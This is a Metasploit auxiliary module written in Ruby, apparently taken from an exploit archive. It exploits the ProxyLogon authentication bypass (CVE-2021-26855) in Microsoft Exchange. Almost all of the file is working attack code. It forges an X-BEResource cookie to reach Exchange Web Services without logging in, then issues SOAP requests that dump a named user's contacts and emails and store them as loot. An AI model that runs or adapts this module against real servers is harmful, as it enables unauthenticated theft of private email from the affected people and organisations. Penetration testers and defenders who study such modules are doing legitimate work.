# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
# Date: 2021-03-02
# Exploit Author: RAMELLA Sébastien
# Vendor Homepage: https://microsoft.com
# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
# Tested on: Microsoft Windows 2012 R2 - Exchange 2016
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Exchange ProxyLogon Collector',
'Description' => %q{
This module scan for a vulnerability on Microsoft Exchange Server that
allows an attacker bypassing the authentication and impersonating as the
admin (CVE-2021-26855).
By chaining this bug with another post-auth arbitrary-file-write
vulnerability to get code execution (CVE-2021-27065).
As a result, an unauthenticated attacker can execute arbitrary commands on
Microsoft Exchange Server.
This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
All components are vulnerable by default.
},
'Author' => [
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
],
'References' => [
['CVE', '2021-26855'],
['LOGO', 'https://proxylogon.com/images/logo.jpg'],
['URL', 'https://proxylogon.com/'],
['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],
['URL', 'http://aka.ms/exchangevulns']
],
'DisclosureDate' => '2021-03-02',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'AKA' => ['ProxyLogon']
}
)
)
register_options([
OptString.new('EMAIL', [true, 'The email account what you want dump']),
OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])
])
register_advanced_options([
OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])
])
end
XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze
def grab_contacts
response = send_xml(soap_findcontacts)
xml = Nokogiri::XML.parse(response.body)
data = xml.xpath('//t:Contact', XMLNS)
if data.empty?
print_status(' - the user has no contacts')
else
write_loot(data.to_s)
end
end
def grab_emails(total_count)
# get the emails list of the target folder.
response = send_xml(soap_maillist(total_count))
xml = Nokogiri::XML.parse(response.body)
# iteration to download the emails.
xml.xpath('//t:ItemId', XMLNS).each do |item|
print_status(" - download item: #{item.values[1]}")
response = send_xml(soap_download(item.values[0], item.values[1]))
xml = Nokogiri::XML.parse(response.body)
message = xml.at_xpath('//t:MimeContent', XMLNS).content
write_loot(Rex::Text.decode_base64(message))
end
end
def send_xml(data)
uri = normalize_uri('ecp', 'temp.js')
received = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;",
'ctype' => 'text/xml; charset=utf-8',
'data' => data
)
fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received
received
end
def soap_download(id, change_key)
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetItem>
<m:ItemShape>
<t:BaseShape>IdOnly</t:BaseShape>
<t:IncludeMimeContent>true</t:IncludeMimeContent>
</m:ItemShape>
<m:ItemIds>
<t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
</m:ItemIds>
</m:GetItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_findcontacts
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='contacts'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_mailnum
<<~SOAP
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="#{datastore['FOLDER']}">
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
SOAP
end
def soap_maillist(max_entries)
<<~SOAP
<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope
xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
<soap:Body>
<m:FindItem Traversal='Shallow'>
<m:ItemShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:ItemShape>
<m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
<m:ParentFolderIds>
<t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>
<t:Mailbox>
<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:ParentFolderIds>
</m:FindItem>
</soap:Body>
</soap:Envelope>
SOAP
end
def write_loot(data)
loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')
print_good(" - file saved to #{loot_path}")
end
def run
# get the informations about the targeted user account.
response = send_xml(soap_mailnum)
if response.body =~ /Success/
print_status('Connection to the server is successful')
print_status(" - selected account: #{datastore['EMAIL']}\n")
# grab contacts.
print_status('Attempt to dump contacts list for this user')
grab_contacts
print_line
# grab emails.
print_status('Attempt to dump emails for this user')
xml = Nokogiri::XML.parse(response.body)
folder_id = xml.at_xpath('//t:FolderId', XMLNS).values
print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})")
total_count = xml.at_xpath('//t:TotalCount', XMLNS).content
print_status(" - number of email found: #{total_count}")
if total_count.to_i > datastore['MaxEntries']
print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}")
total_count = datastore['MaxEntries'].to_s
end
grab_emails(total_count)
end
end
end
